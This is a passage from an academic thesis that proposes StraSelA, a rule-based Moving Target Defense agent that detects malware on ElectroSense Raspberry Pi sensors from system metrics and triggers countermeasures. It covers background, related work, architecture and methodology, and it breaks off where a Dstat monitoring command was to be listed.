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Abstract

IoT-Technologien haben in den letzten Jahren einen kontinuierlichen Aufschwung erlebt,
der zu unzähligen Arten von vernetzten Geräten geführt hat. Mit dem Aufblühen die-
ser Technologien und insbesondere dem Einsatz von IoT-Sensoren hat sich das tägli-
che Leben in vielerlei Hinsicht verbessert und neue Möglichkeiten eröffnet, wie etwa die
IoT-Crowdsensing-Plattform ElectroSense. Die Tatsache, dass diese ressourcenbeschränk-
ten Geräte anfällig für Cyberangriffe sind, wirft die Frage auf, wie ein geeignetes und
zuverlässiges Sicherheitssystem bereitgestellt werden kann. Die Anwendung des MTD-
Paradigmas legt den Einsatz spezifischer Verteidigungsmechanismen nahe, um den Scha-
den durch bösartige Software zu mindern. Für den eigentlichen Entscheidungsprozess,
d. h. unter welchen Umständen eine entsprechende Gegenmaßnahme ausgelöst wird, wer-
den oft komplexe Technologien wie maschinelles Lernen, Spieltheorie oder evolutionäre
Algorithmen auf der Grundlage von systemfremden Metriken eingesetzt. Diese Arbeit
leistet einen Beitrag zur Forschung, indem sie einen MTD Strategy Selection Agent Stra-
SelA vorschlägt, der seine Entscheidungen anhand eines einfachen Regelwerks, auch Po-
licy genannt, auf der Basis von Systemmetriken trifft. Zu diesem Zweck wurden sieben
Schadprogramme aus den Kategorien Command and Control, Ransomware und Rootkit
sowie ein ElectroSense-Fernsensor auf einem Raspberry Pie 4 untersucht. Die zugrunde-
liegenden Metriken wurden zunächst durch eine systematische Literaturrecherche über
Malware definiert. Anschließend wurde das Geräteverhalten aufgezeichnet und mittels
Datenanalyse der einzelnen Metriken wurden spezifische Regeln für die Ausführung von
Abwehrmaßnahmen erstellt und experimentell feinjustiert. Die Architektur von StraSe-
lA wurde definiert und anschließend so implementiert, dass die Software zusammen mit
der synthetisierten Policy-Datenbank auf dem IoT-Gerät auftretende Malware erstens er-
kennen und zweitens eine geeignete Gegenmaßnahme auslösen kann. Nach Auswertung
verschiedener Metriken wie Erkennungsrate und Overhead wurde gezeigt, dass es möglich
ist, ein System mit einem einfachen und ressourceneffizienten Entscheidungsprozess auf
der Grundlage von Systemmetriken vor Angreifern zu schützen. Somit wird der Mehrwert
des einfachen Strategieauswahlalgorithmus von StraSelA bestätigt. Abschließend sind alle
Datensätze, die während der Policy-Synthese und der Evaluation verwendet wurden, für
weitere Forschungen frei verfügbar.

IoT technologies have experienced a continuous upswing in recent years, resulting in count-
less types of networked devices. With the flourishing of these technologies and especially
the use of IoT sensors, daily life has been improved in many ways and brought new op-
portunities, such as the IoT crowdsensing platform ElectroSense. The fact that these
resource-constraint devices are vulnerable to cyberattacks raises the question of how to
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provide a suitable and reliable security system. Using the MTD paradigm suggests deploy-
ing specific defense mechanisms to mitigate malicious software damage. For the actual
decision process, i.e., under which circumstances a corresponding countermeasure is trig-
gered, often complex technologies such as machine learning, game theory, or evolutionary
algorithms are used based on non-system metrics. This work contributes to the research by
proposing an MTD Strategy Selection Agent StraSelA that makes decisions using a simple
set of rules, also called policy, based on system metrics. For this purpose, seven malware
from Command and Control, Ransomware, and Rootkit, as well as an ElectroSense re-
mote sensor running on a Raspberry Pie 4, were considered. The underlying metrics were
initially defined in systematic literature research about malware. Subsequently, the de-
vice behavior was recorded, and specific rules for executing defense measures were created
through data analysis of the individual metrics and then experimentally fine-tuned. The
architecture of StraSelA was defined and then implemented so that the software, together
with the synthesized policy database on the IoT device, can firstly detect any malware
that occurs and secondly trigger a suitable countermeasure accordingly. After evaluating
various metrics, such as detection rate and overhead, it was shown that it could protect a
system from attackers with a simple and resource-efficient decision-making process based
on system metrics. Thus, the added value coming from the simple strategy selection al-
gorithm of StraSelA is confirmed. Finally, all data sets used during the policy synthesis
and evaluation are freely available for further research.
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Chapter 1

Introduction

Technological progress enhances the connections and the number of devices in our digital
world. By 2025, it is estimated that around 55.7 billion devices will be interconnected
worldwide, whereas about 75% of them will be connected to the Internet of Things (IoT)
devices [1]. This growing number of IoT devices has an increasing impact on our dealing
with technology [2], and these devices are present in various application areas [3].

Undoubtedly, these new devices offer numerous advantages. Unfortunately, IoT devices
also provide an additional attack surface for cyberattacks [4]. Not only are IoT devices
the targets, but they also have security issues and vulnerabilities [5]–[7]. At the same
time, the number of attacks targeting such devices is also increasing [8]. The question
arises of how IoT devices can be successfully protected.

In 2009 a novel method called Moving Target Defense (MTD) was proposed, which differs
from conventional approaches: Instead of trying to build a perfectly secure system, the
objective is to mutate the attack surface [9]. MTD was proposed to deal with the fact that
static systems are vulnerable due to the attacker’s asymmetric information advantage [9].

Research has shown that MTD is a promising approach to making IoT devices more
secure [10]–[12]. Several studies have already proposed many different MTD techniques
to mitigate attacks, introducing additional complexity for the attacker [10]–[13]. Since a
whole spectrum of malware exists, each follows a unique attack behavior. It is crucial to
match the defense mechanism to the attack pattern. Therefore, this thesis aims to develop
a strategy selection agent for IoT devices to protect against multiple attack types. This
agent includes a set of metrics and a policy. The following chapter outlines the motivation
for such an agent, defines the scope, and describes the structure of this thesis.

1.1 Motivation

Using MTD to protect the IoT device has been proven successful [10]–[12]. Moreover,
using an agent that consequently deploys the optimal MTD technique according to the
attack type sounds promising. However, the following difficulties appear:
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2 CHAPTER 1. INTRODUCTION

First, a set of metrics consisting of different system parameters that can be successfully
used as indicators for a policy has to be defined. These metrics should reflect the behavior
of various malware. Second, a working policy that triggers the optimal MTD technique
according to the attack type has to be proposed. For this purpose, the rules of the policy
must be adapted to the actual malware samples. This policy is part of the decision-making
mechanism, which also includes a strategy selection agent that uses this policy, which
forms the third point. The agent and its embedded policy are responsible for detecting
a compromised system and consistently deploying the MTD technique that mitigates the
malware. Finally, an adequate method to evaluate the agent’s performance has to be
outlined. It is probably advisable to consider several dimensions of the agent.

1.2 Description of Work

To contribute to the aforementioned challenges, this thesis aims to provide the design
and implementation of an MTD strategy selection agent. In order to do that, the main
contributions of this work are the following:

First, an in-depth analysis of the state-of-the-art MTD techniques and current malware
types and a brief review of general IoT security. This will provide the necessary terms
and fundamentals to understand this thesis. Second, the knowledge of the research phase
will be processed to create a taxonomy of the considered malware to define a set of
system metrics on the IoT device. This step is crucial for further procedure since it is the
prerequisite for creating the monitoring script. The development of this script, as well as
the necessary data collation and the accompanying data visualization scripts, constitute
the third point. Fourth, the design and implementation of an MTD strategy selection
agent and a policy. The agent and policy synthesis implementation is carried out in an
expert-based, data-driven approach. Finally, the evaluation of the project in real life
scenario, considering a Raspberry Pi 4 in the ElectroSense cluster.

1.3 Thesis Outline

The rest of this thesis is organized as follows: Chapter 2 conveys the necessary background
knowledge regarding MTD techniques, the functionalities of the considered malware types,
and IoT security. Furthermore, this chapter briefly explains some of the state-of-the-art
MTD deployment mechanisms and introduces the ElectroSense service. Related work is
captured in Chapter 3 in which different policy selection methods are investigated and
compared. At the end of Chapter 3, Table 3.1 shows the differences between various
approaches. Starting with introducing the concrete use case of this thesis, Chapter 4
also covers the high-level solution architecture and explains the methodology. Chapter 5
covers the implementation of the policy and its synthesis, as well as the details of the
MTD strategy selection agent. A set of metrics is proposed to understand the former
after an in-depth study of different malware types. The application of the MTD strategy
selection agent and the proposed policy in other use cases with the MTDFramework that
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provides a set of MTD solutions [14] is provided in Chapter 6. In addition to that, it also
covers the evaluation of the agent. The final chapter, Chapter 7 summarizes the results,
concludes, and provides an outlook on future work.
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Chapter 2

Background

The following passage introduces IoT Security, and the final section briefly overviews the
crowd-sensing platform ElectroSense. First, a brief summary of the suitable malware at-
tack types and the consequences for the victim system is made. Second, an introduction
to IoT security and the related challenges are provided. Third, the paradigm of MTD is
explained, the differences to conventional security techniques are outlined, various MTD
techniques for IoT devices are introduced as well as the different policy deployment mech-
anisms.

2.1 Malware

Command and Control (C&C) attacks are often launched by so-called botnets, an army of
infected devices that perform malicious actions such as participating in distributed denial
of service (DDoS) attacks, completing data theft, or distributing ransomware [15]. IoT
devices can also be targeted explicitly by botnets, as the research from [8] has shown.
The good news, however, is that there have also been studies that have found specific
countermeasures, for instance, MTD techniques that mitigate the reconnaissance phase of
an IoT botnet, i.e., the time when the botnet tries to spy on the victim in order to obtain
important information [16]. An example of a botnet attack is the Mirai malware: Mirai
launched 2016 a massive attack on the Domain Name System (DNS) service Dyn with a
botnet DDoS from countless infected IoT devices that caused up to 1.5Tbps traffic [17].

Ransomware is digital extortion, where first, the sensitive and or valuable data of the
victim is encrypted by the software, and then a ransom has to be paid to get a key to
unlock the data [18]. Various studies estimate that the threat posed by ransomware to
IoT devices, in particular, is quite real [18], [19]. Moreover, [20] showed that the indus-
trial internet of things (IIoT), an extension of IoT, is notably vulnerable to ransomware
attacks and even provides a proof of concept (POC) ransomware and a plethora of coun-
termeasures.

A Rootkit hides and acts unseen and enables the attacker to get privileged access to
the victim [21]–[24]. To gain this camouflage, rootkits hijack system commands ”ls, ps”

5



6 CHAPTER 2. BACKGROUND

to make the unsuspecting user believe that everything is in the usual order [24], [25].
Further, according to [24], [26] rootkits can be classified into at least, five categories
based on their privilege level. The LoJax rootkit demonstrates that once a rootkit is
installed, it can be used to download, receive and execute malicious commands from
a C&C server [22]. Regarding the detection of rootkits, it remains to be mentioned
that [25] found an alternative rootkit detection method for resource-limited IoT devices
to the common non-deterministic ML-based approaches. Figure 2.1 illustrates the different
functionalities per malware family that this thesis is considering.

Reconnaissance attacks aim to gather intelligence about the target system [8], [27], [28].
Also called scanning attacks, reconnaissance attacks can be performed before the attack
to increase the chances of a successful attack [8], [27], [28]. Network Mapper (Nmap) [29]
is a standard tool for performing reconnaissance attacks [28]. For this thesis, there is any
specific reconnaissance attack considered. However, this paragraph was added anyway
since the attack type is highly relevant for IoT devices: Many MTD studies analyze re-
connaissance attacks in order to develop and evaluate MTD counter mechanisms [30]. [16],
[31] investigated the MTD techniques to counteract the scanning phase of botnets and [32]
did research on IP address (IP) randomization to mitigate reconnaissance attacks.

Figure 2.1: The functionality of each considered malware family
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2.2 IoT Security

IoT security is associated with difficulties and challenges. First, during the development
process of IoT devices, features like usability and resource efficiency are more prioritized
than security aspects [33]. Second, existing security approaches and mechanisms for non-
IoT devices cannot be simply transferred and applied to IoT domain [33], [34]. Finally,
resource-constrained IoT devices may require specific lightweight security solutions [33],
[35]: Cryptography solutions that need a lot of computational power are difficult to im-
plement on IoT devices regarding the trade-off between security and performance [36].

2.3 Moving Target Defense

2.3.1 MTD Paradigm

One of the main issues in cybersecurity is asymmetric time advantage for the attacker
that is compromising a static system [37], [38]. MTD mainly aims to change a defender
system’s attack surface to increase the attacker’s uncertainty and effort [38]. MTD’s
paradigm of a constantly changing system surface is achieved by changing components,
sometimes called moving parameters, of the system [2]. The specific setting and way the
moving parameter is mutated represents an instance of the MTD paradigm and is called
MTD technique [2]. Table 2.1 briefly illustrates the differences between traditional and
MTD cybersecurity approaches.

Table 2.1: Comparison between traditional and MTD cybersecurity principles
Aspect Traditional Security MTD

Nature of the system Static [37] Constantly changing [30], [37]–[39]

Mode of operation Find and eliminate threats [30] Shifting attack surface [30], [38]

Method
Cycle orchestrated by a policy:
Protection, Detection,
Response and Recovery[38]

2 modes:
Reactive and active defense [38]

Examples of
protection
mechanisms

Authentication,
Cryptography,
Firewall [38]

IP shuffling [7], [10]–[12], [40], [41],
Port shuffling [42]
Code diversification [43]

Goal
Build a seamless,
perfectly safe system [30]

Increase effort for attackers [38]

According to [38], each MTD technique consists of three elements regarding the element,
or as described above, moving parameter, that is, ”moved”: WHAT, HOW, and WHEN.
WHAT to move specifies the moving parameter. HOW to move defines the procedures
that mutate the moving parameter. WHEN to move determines when the mutation is
triggered.
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The taxonomy proposed by [30] concerning the WHAT characteristics of MTD techniques
consists of Application-, Operating System-Host- (OS), Virtual Machine-Instance- (VM),
VM Manager-, and Hardware-Layer. Examples of moving parameters are, for instance IP
addresses [7], [10]–[12], [40], [41], [44]–[48], port numbers [37], [42] or program code [37],
[43].

The HOW of existing MTD techniques was divided into three different categories by [39]:
Shuffling, diversity, and redundancy. Shuffling exchanges the moving parameter according
to a specific schema. Diversity introduces a new component with the same functionality
but a different realization. Redundancy introduces one or more imitations, so-called ”repli-
cas”, for a given component. A widespread example of shuffling is IP address shuffling,
which was proposed several times [7], [10]–[12], [40], [41].

[30], [39], categorized MTD techniques regarding the WHEN based on their temporal
aspect: reactive, proactive, and hybrid-based approaches. Reactive means that the MTD
technique is triggered in response to a detected attack. Proactive means that a predefined
time interval, which might be random, repeatedly triggers an MTD technique. Hybrid-
based approaches use both techniques as mentioned earlier at the same time, for instance
starting an MTD on a fixed time interval but also when an intruder was detected.

Table 2.2 summarizes the fundamental aspects and categories of an MTD defense system.

Table 2.2: Key aspects of MTD

WHAT HOW WHEN
Application Layer Shuffling Time-based
OS-Host Diversity Event-based
VM-Instance Redundancy Hybrid
Virtual Machine Manager
Hardware

2.3.2 MTD on IoT

The two surveys from [30] and [49] regarding MTD state that MTD is a valid option to
increase the security level of IoT devices. [30] studied the current state-of-the-art MTD
technologies and concluded that mostly shuffling- and diversity-based approaches are used
for IoT devices. For this bachelor thesis, systemic research was conducted with the same
approach as [2], whereas the search string 2.2was used. ”iot” refers to the term ”IoT” but
with a slightly different spelling. The search was done and completed in March 2022.
The following five sources were used: ACM, IEEE, Springer, Wiley, and ScienceDirect.
Table 2.3 summarizes the search requests, and Table 2.4 represents the result. Table 2.5
was created as a byproduct of the non-systematical malware research phase that contains
advanced MTD methods used on IoT devices.
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(”moving target defense” OR ”moving target defense”)
AND

(”internet of things” OR ”iot”)

Figure 2.2: Search query for the systematic MTD research

Table 2.3: Search results

Date Platform Filter Results
6.3.2022 ACM research article 29
6.3.2022 IEEE conferences, journals 31
6.3.2022 Springer article 24
6.3.2022 Wiley journals 15
6.3.2022 ScienceDirect review articles

research articles
95

Table 2.4: Systematic IoT MTD Research
Solution Year Attack types TechniqueHow When
[12] 2017 RA, DoS S 6HOP (Port hopping

+ IP shuffling)
Regular time in-
terval

[41] 2019 RA S IP shuffling Dynamic (lease
time)

[50] 2019 RA, DDoS S, D Honeypots (Gateway
diversification)

Regular time in-
terval

[17] 2019 DDoS S, R
IP shuffling
SDN-based honeypots

Random time in-
terval

[51] 2019 Ransomware S Changing file exten-
sions

Only once

[52] 2019 DnS Attacks S Port hopping Dynamic

[48] 2021 RA, DDoS S IP shuffling Dynamic
RA=Reconnaissance Attack, S=Shuffling, D=Diversity, R=Redundancy

2.3.3 MTD Deployment Mechanisms

This section focuses on deployment mechanisms in MTD. The main task of a defender
system using MTD is to achieve the best possible chance to the attack surface through
an innovative and deliberate strategy. According to [30], three types of techniques can
be used to solve this crucial MTD selection problem: Game theoretic, genetic algorithms,
and machine learning (ML) approaches. [54] proposed a game theoretical using a Stack-
elberg game between defender and attacker. The defender takes the role of a leader and
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Table 2.5: Non-systematic IoT MTD research during the malware research phase

Solution Year
Attack
types

Technique How When

[10] 2014
DoS,
MitM

S MT6D: IP shuffling regular time interval

[27] 2019 RA S, D, R Network Function Virtual-
ization

hybrid:
regular time interval
packet threshold

[31] 2021 DDOS S, R
IP shuffling
Replica server shuffling

regular high-frequency
interval

[32] 2015 RA S

Random Host
Address Mutation:
IP, MAC address and
domain name shuffling

frequently

[16] 2019 RA S, R, D
IP shuffling
Replica application server

regular time interval

[53] 2019 RA S, R
Replica application server
Proxy Shuffling

Random time interval

[7] 2017 RA S µMT6D: IP shuffling not specified
RA=Reconnaissance Attack, MitM=Man-in-the-middle attack

S=Shuffling, D=Diversity, R=Redundancy

offers an IP shuffling policy, whereas the follower, the attacker, determines the scan rate.
Performing a simulation, they showed an equilibrium for both leader and follower and
that an optimal policy for the IP randomization can be derived. In 2014, [55] proposed
a genetic algorithm that generated many different system combinations, which are then
implemented and assessed to find the best configuration. ML algorithms can also be used,
as [56] demonstrated: They solved Bellman Equations to solve a Markov Decision Process
for the optimal policy deployment.

2.4 ElectroSense

ElectroSense [57] is used as the real-world use-case in this thesis. ElectroSense is a crowd-
sensing service that analyzes spectrum data from a cluster of IoT devices. The aggregated
data is accessible to everybody in real-time available on their web page and via application
programming interface (API). ElectroSense recommends a setup consisting of Raspberry
Pis sensors equipped with an antenna and a software-defined radio (SRD) dongle. From a
technical perspective, the Raspberry Pie’s ElectroSense client is an ideal way to investigate
cyber security.



Chapter 3

Related Work

The following chapter is dedicated to existing research on MTD selection methods. First,
the current state-of-the-art policy selection methods are briefly discussed and analyzed re-
garding the metrics used, platform, malware examined, and evaluation model. The second
part summarizes the studies and compares them to identify similarities and differences.

3.1 MTD Selection Methodologies

This section elaborates on some current policy selection methods, i.e., the process that
determines which point in time which MTD technique will be deployed. In order to justify
the development of an MTD strategy selection agent, the current modern approaches
are analyzed. Based on these fundamentals, the aim is to identify and adapt suitable
mechanics to the use case of this thesis.

[58] did research on the signal game and proposed an MTD policy selection approach that
takes attack and defense metrics, a set of strategies for both parties, and calculates the
optimal defense strategy based on an equilibrium solution method. In this signal game,
the defender acts as the sender and the attack represents the receiver, which means the
attacker reacts to the generated signal of the defender. The available MTD techniques
are IP and Port shuffling and sophisticated service architecture mutation. Further, they
considered two scanning attacks strategies: code injection and remote buffer overflow. For
evaluation purposes, they simulate a network topology where a server is attacked, and no
IoT is present.

In their work, [59] discussed a policy selection method that uses differential game com-
bined with the Markov Decision Process (MDP) to counterbalance both time continuity
and stochastic under the use of the strategy sets and metrics for attacker and defender.
Instead of limiting themselves to one attack, they examined various attack and defense
strategies such as a Structured Query Language (SQL) injection or IP hopping. Based
on their intensity, the attack strategies were divided into the groups low, medium, and
high. In contrast, the defense strategies were grouped by their taxonomy by data, net-
work, software, and platform. They used MATLAB to simulate a network structure that,
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among other things, included a business network, a connection network, and a network
defense facility but no IoT devices to evaluate their proposed decision algorithm.

Existing game-theoretic strategy selection approaches have been extended by [60]: They
combined MDP with game theory to decide on the defense strategy with a novel multi-
phase model. The result was Markov game MTD (MG-MTD), a method for finding the
optimal MTD strategy. The decision is based on a set of defense strategies that include
a hopping element (WHAT), hopping strategy (HOW), and hopping period (WHEN).
Furthermore, the authors had attack strategies that define general attack operations such
as scanning or information theft, revenue sets for both attacker and defender that represent
the cost for the operations, a network transition table, and a criterion function to evaluate
the considered strategies. By solving a nonlinear problem, MG-MTD can be evaluated
to find the optimal defense strategy eventually. To assess their work, they conducted a
Simulation case study with a standard network topology similar to [61], [62] that includes
two servers, one database, and one client but no IoT device.

Another game theoretic approach was described and developed by [63]. Markov robust
game, which combines MDP with robust game. The resulting MTD strategy selection
method Markov robust game model (MRG-MTD) has some similarities to MG-MTD
proposed by [60]: (MRG-MTD) Also evaluates the optimal defense strategy by solving a
nonlinear problem and requires a set of defense and attack strategies and the corresponding
revenue sets, a network transition table and an objective criterion function. They could
successfully validate their results by doing a well-known network topology simulation that
does not consider any IoT devices [61].

Based on the idea of a genetic algorithm [64] proposed Joint Defense. The Joint Defense
strategy selection approach entails changing three elements of the defender system by using
a genetic algorithm operating on chromosomes, representing different defense strategies
that consist of genes. In contrast, each gene describes a single mutation parameter of
the defense system. In contrast to most of the other research, they focused on selecting
an optimal strategy under multiple attacks, showing that the proposed genetic algorithm,
given an attack and defense metric, can find numerous mutation parameters of the system
to mitigate the attack. The algorithm evaluates different metrics for the defender and
attacker, such as cost and payoff, as well as the defense efficiency. Like others, they used
simulation to evaluate their findings on a desktop computer with MATLAB.

FlipIt, a new game theoretical approach used as a decision-making algorithm during the
policy selection process to trigger the optimal MTD strategy, was introduced by [65].
FlipIt uses network parameters as well as a set of attack and defense strategies. The col-
lection of attack strategies covers common attack patterns such as scripting (conservative
attack strategy) and transmitted data manipulation (aggressive attack strategy). The
set of MTD strategies includes techniques that change the attack- and the exploration
surface. The threat came from highly skilled advanced persistent threat (ATP) attacks.
For the evaluation, the software defined network (SDN) simulation test platform Mininet
and Ryu controller was used to emulate servers with 2.6GHz CPU, 8GB RAM, and a
500GB hard disk, which is far beyond IoT capacities.

In contrast to the other studies in this section, [27] developed a proof-of-concept MTD
framework to mitigate DDoS, more specifically, the reconnaissance phase of Crossfire
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attacks, which belong to the group of flooding attacks, that uses a simple algorithm for
decision making. A Crossfire attack aims to impair, or at worst completely cut off, the
connection to chosen servers [66]. The proposed algorithm triggers advanced SDN-based
MTD methods through the threshold-based evaluation of the system metric number of
packages from the traceroute command or expired timeout timer. Subsequently, one of
three MTD techniques is randomly selected and deployed. They used Mininet to simulate
a virtual network on a single, commercially available computer for the evaluation.

[67] have developed a policy selection method that evaluates a system metric, a CPU
threshold, to control the deployment of an MTD defense similar to [27] technique to defend
against DoS attacks by thwarting the reconnaissance phase. Thereby, shuffling, diversity,
and redundancy based MTD methods were triggered as soon as a the system exceeds 40%
CPU utilization to mitigate incoming attacks. They used Amazon Web Service (AWS)
Elastic Compute Cloud (EC2) instances as servers and proxies for simulations to validate
their work.

Table 3.1: Comparison of different MTD policy selection methods

Solution MW IoT
Policy
Selection Method

Parameters System Metrics EM

[60], 2017 V No Markov game

Strategy Sets
Revenue Sets
Transition table
Criterion function

None S

[64], 2019 V, M No Joint Defense
Attack Metrics
Defense Metrics

None S

[58], 2020 V No Signal game
Attack Metrics
Defense Metrics
Strategy Effectiveness

None S

[59], 2020 V No
Dynamic Markov
Differential Game

Attack Metrics
Defense Metrics
Strategy Sets

None S

[63], 2019 V No
Markov robust game
(MRG-MTD)

Strategy Sets
Revenue Sets
Transition table
Criterion function

None S

[65], 2021 ATP No Differential Game Strategy Sets None S

[27], 2021 Crossfire attack No Simple Algorithm
Timeout timer
Network packages

Packages S

[67], 2021 DoS No Simple Algorithm CPU CPU S
MW=Malware, EM=Evaluation Method
V=Various, M=Multiple, S=Simulation

3.2 Discussion

Table 3.1 compares the discussed approaches. To sum everything up, the following key
findings are remarkable:

Generally, most papers use a game theoretic approach to select the optimal MTD tech-
nique. These sophisticated approaches often make their decision-based set sets of strate-
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gies or attack and defense metrics, but they do not consider any system metrics. These
studies have successfully shown that using the previously mentioned strategies or metrics,
an MTD strategy selection method can be implemented. In contrast, only two studies
used a simple, threshold-based policy selection algorithm that requires a system metric.
Overall, only limited research uses a system threshold to trigger the appropriate MTD
technique.

The research work studied only used simulation for evaluation. In addition, the focus of
these studies is seldom the actual implementation of such a strategy selection agent but
more on the selection process and the associated non-linear optimization problem. As far
as I can tell, little focus has been placed on the concrete development, implementation,
and experimental evaluation of MTD policy selection methods.

Most research considers various malware behavior but not concrete malware examples for
the environment. In addition to that, the studied papers do not consider the IoT domain:
To the best of my knowledge, there are no studies that focus on the policy selection
method for the Raspberry Pie.



Chapter 4

Scenario and Solution

The following passage describes the use case this thesis is considering and proposes a so-
lution for the MTD Strategy Selection Agent MTD StraSelA. First, this paper describes
the scenario concerning the ElectroSense service, and a requirements analysis is presented.
Second, the solution’s architecture is introduced together with a brief description of the in-
dividual components. Finally, the methodology is explained and this project’s milestones
are described.

4.1 Scenario

The concrete IoT device this thesis considers is the Raspberry Pi 4 Model B. It has a
64-bit ARM architecture-based Broadcom BCM2711 Quad-core processor running at 1.5
GHz and a RAM capacity of 4 GB. In addition, it is equipped with Gigabit Ethernet and
a 2.4 GHz / 5.0 GHz WLAN module, both ensuring excellent network connectivity. A
Bluetooth module opens up further possibilities, whereas USB ports and an HDMI port
complete the entire equipment, which makes the Raspberry Pi a very versatile IoT device.

ElectroSense [57] is a service that uses these small heroes: It provides a Raspberry Pi and
an antenna set to participants that can measure electromagnetic waves in their environ-
ment. This means the ElectroSense cluster is a network of IoT devices that collect data
in a private setting of volunteers. The crux is that ElectroSense does not influence the
handling of each user and their Raspberry Pi: If one Pi was successfully contaminated,
this could potentially infect other devices in the cluster or affect the transmission to the
ElectroSense central server.

Services like ElectroSense are fully aware of potential cyberattacks. The question is, how
can they identify and mitigate potential attacks to protect their cluster? As already
pointed out in Chapter 2.3.2, is it possible to use MTD? A possible inventory of require-
ments is shown in table 4.1.

The MTD Strategy Selection Agent MTD StraSelA is proposed to implement these re-
quirements. The selected strategy is a so-called MTD technique. In this thesis, the

15



16 CHAPTER 4. SCENARIO AND SOLUTION

Table 4.1: Requirements
Number User Story

1
As an ElectroSense operator, I want to minimize
the potential threats posed by malware.

2
As an ElectroSense operator, I want to maximize
the quality of service.

3
As an ElectroSense operator, I want to have
a solution for all devices in the cluster.

4
As an ElectroSense operator, I want to have
a solution that does not require any user actions.

following terminology is used: The term MTD technique refers to the actual MTD rele-
vant procedure that the system executes in order to counter malware, such as IP shuffling.
The author from [68] proposed in his Bachelor thesis at the University of Zurich (UZH) a
framework called MTDFramework [14] that consists of multiple MTD techniques. Since
one of the main contributions of this thesis is a strategy selection agent, the actual MTD
techniques [14] are provided by the MTDFramework from [68].

4.2 Architecture

The MTD StraSelA consists of three components, which are indicated in Figure 4.1. The
Observer component monitors the system metrics and supplies these data to the Policy
component in real-time. The Policy component evaluates this data by checking all rules
if the current snapshot of system metrics matches a known attack pattern. If the policy
detects an attack, the Deployer component triggers the according MTD technique to
mitigate the incoming attack. Furthermore, Table 4.2 summarizes each component’s core
function.

Table 4.2: Agent Components
Component Function

Observer
Measures defined a set of metrics in real-time
Provides information to the Policy component

Policy
Monitors metrics data
Triggers Deployer component, if applicable

Deployer Deploys the required MTD technique

4.3 Methodology

As pointed out in Chapter 2.3.3, the critical component of an MTD selection agent is a
set of rules called policy. To define such a set of policies, two key questions can be asked:

• Which system metrics reflect the incoming attack in the most reliant way?
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Policy    Strategy 2

Observer

Deployer    Strategy 1

    Strategy 3

MTD Strategy Selection Agent (MTD StraSelA)

Figure 4.1: The architecture of the MTD strategy selection agent

• Which numerical values, also called thresholds, do these metrics have to either exceed
or fall short to be reliably assigned to a specific attack pattern?

This means we first need to define a set of metrics and then subsequently determine
thresholds. Malware behaves differently, so an in-depth malware analysis can shed light on
these different patterns. This research investigates the relation between influenced system
metrics and attacking malware type for each type considered in this thesis. This thesis
considers the following malware: ”The Tick” [69], ”backdoor” [70], ”httpBackdoor” [71],
and ”BASHLITE” [72] from the C&C category, ”BEURK” [73], and ”bdvl” [74] as rootkit
examples, and finally ”Ransomware-PoC” [75].

After obtaining the set of relevant system metrics, a monitoring script can be developed.
The script’s purpose is to monitor the set of metrics on the Raspberry Pi. Employing
the monitoring script, data sets for healthy (non-infected), infected, and cleansed (cured
behavior) of the Raspberry Pi can be systematically recorded. This step aims to generate
a data set for each type of considered malware plus corresponding MTD, as well as for
regular, non-infected behavior like a fingerprint.

The next step includes the actual policy synthesis. To achieve this, data analysis methods
are applied. The crucial delivery of this stage is the actual policy, the agent can consult
that during the decision process. For this thesis, we consider only simple rules (e.g.,
IF −→ THEN).
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The integral part of this thesis is an MTD strategy selection agent MTD StraSelA, which
is the aim of this next step. Along with the actual implementation of MTD StraSelA
that uses the gained findings, the agents use the MTD techniques proposed [14] in his
MTDFramework.

Finally, an evaluation of the MTD StraSelA can be done to assess the quality and per-
formance of the policy. The purpose of this last step is to analyze the findings critically.
Table 4.3 briefly summarizes the milestones of this thesis.

Table 4.3: Workflow
Deliverable Milestone description Method
Set of Metrics Provide a set of system metrics Research on malware
Data sets Collect data sets for different be-

havior
Develop a monitoring script
Conduct data acquisition through
experiments

Policy Synthesize a policy Data-analysis
Expert-based policy creation and
fine-tuning

Selection agent Develop strategy selection agent Develop an MTD strategy selec-
tion agent

Evaluation Evaluate the findings Conduct data acquisition through
experiments
Measure performance by data
analysis



Chapter 5

Implementation

This chapter elaborates on the process that led to the creation of the set of system
metrics and the MTD Strategy Selection AgentMTD StraSelA. First, the policy synthesis,
starting with the malware research process, is explained in more detail. This step leads
to a general understanding of the malicious software and affected system metrics on the
victim system. Next, a monitoring script is provided that observes a basic set of system
metrics and generated data sets, representing different behavior of the various malware
types. The subsequent data analysis was essential to, on the one hand, identify specific
system metrics as possible candidates and, on the other hand, to design a system for the
rules of the policies. With all this preliminary work, the policy synthesis process can
provide policies consisting of the final set of metrics and thresholds. The last section of
this chapter finally explains the structure and mode of operation of the MTD Strategy
Selection Agent MTD StraSelA.

5.1 Policy Synthesis

5.1.1 Malware Research

Considering the given malware, an in-depth study regarding its functionality was con-
ducted: In a non-systematical approach, the behavior of each malware type and especially
the influence on the victim system was investigated. The same five sources as in Chap-
ter 2.3.2 were used: ACM, IEEE, ScienceDirect, Springer, and Wiley. This intermediate
step aims to systematize the impact of malware on the victim’s respective system metrics
and record it in a table. Various research reports were consulted, and information was
obtained on which system parameters are specifically affected during a malware infection.
The result of this stage was the generation of Table 5.1 from concentrated knowledge.
The table indicates if the attack pattern of a specific type of malware impacts a system
metric or not to find a way to detect the malware eventually effectively. For instance,
it is visible that C&C malware does not mainly cause Disk I\O activity such that this
system metric is not particularly affected by it (No, not affected). On the other hand,
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ransomware will naturally generate a lot of Disk I\O activity. This means the Disk I\O
represents a valuable indicator for detecting ransomware (Yes, affected).

Table 5.1: Malware-Metric indicator table
Observation
Processes Disk

I\O
Network
connections

Network
I\O

CPU
activities

Attack Type Affected?
C&C [76], [77] Y N Y Y Y
Rootkit [21]–[24], [26], [78] Y Y Y Y P
Ransomware [18]–[20] Y Y N N Y
Reconnaissance [8], [16],
[27], [28], [31], [32], [53]

N N Y Y N

Y=Yes, N=No, P=Probably affected

5.1.2 Monitoring Script

After defining which metrics are possible candidates for policy rules, a data collection
had to be conducted first to perform data analysis for the actual policy creation even-
tually. This data collection included data sets showing healthy, infected, and cleansed
behavior that had to be recorded. For this purpose, a monitoring script that records a
predefined group of metrics for a certain amount of time was created. The versatile sys-
tem monitoring tool Dstat [79] was a perfect choice for this since Dstat allows to adjust
the monitoring parameters by adding flags to the command. Command 5.1 was used
by the monitoring script to obtain 33 system metrics from 8 categories (CPU, Memory,
File system, Disk, Network, Transmission Control Protocol (TCP) Connections, Sockets,
System, and Processes). The following two tables give the interested reader even more
background: Table 5.2 explains each flag of the Dstat command, and Table 5.3 lists all
proposed system metrics and provides a brief explanation for each.

Listing 5.1: Dstat command with flags

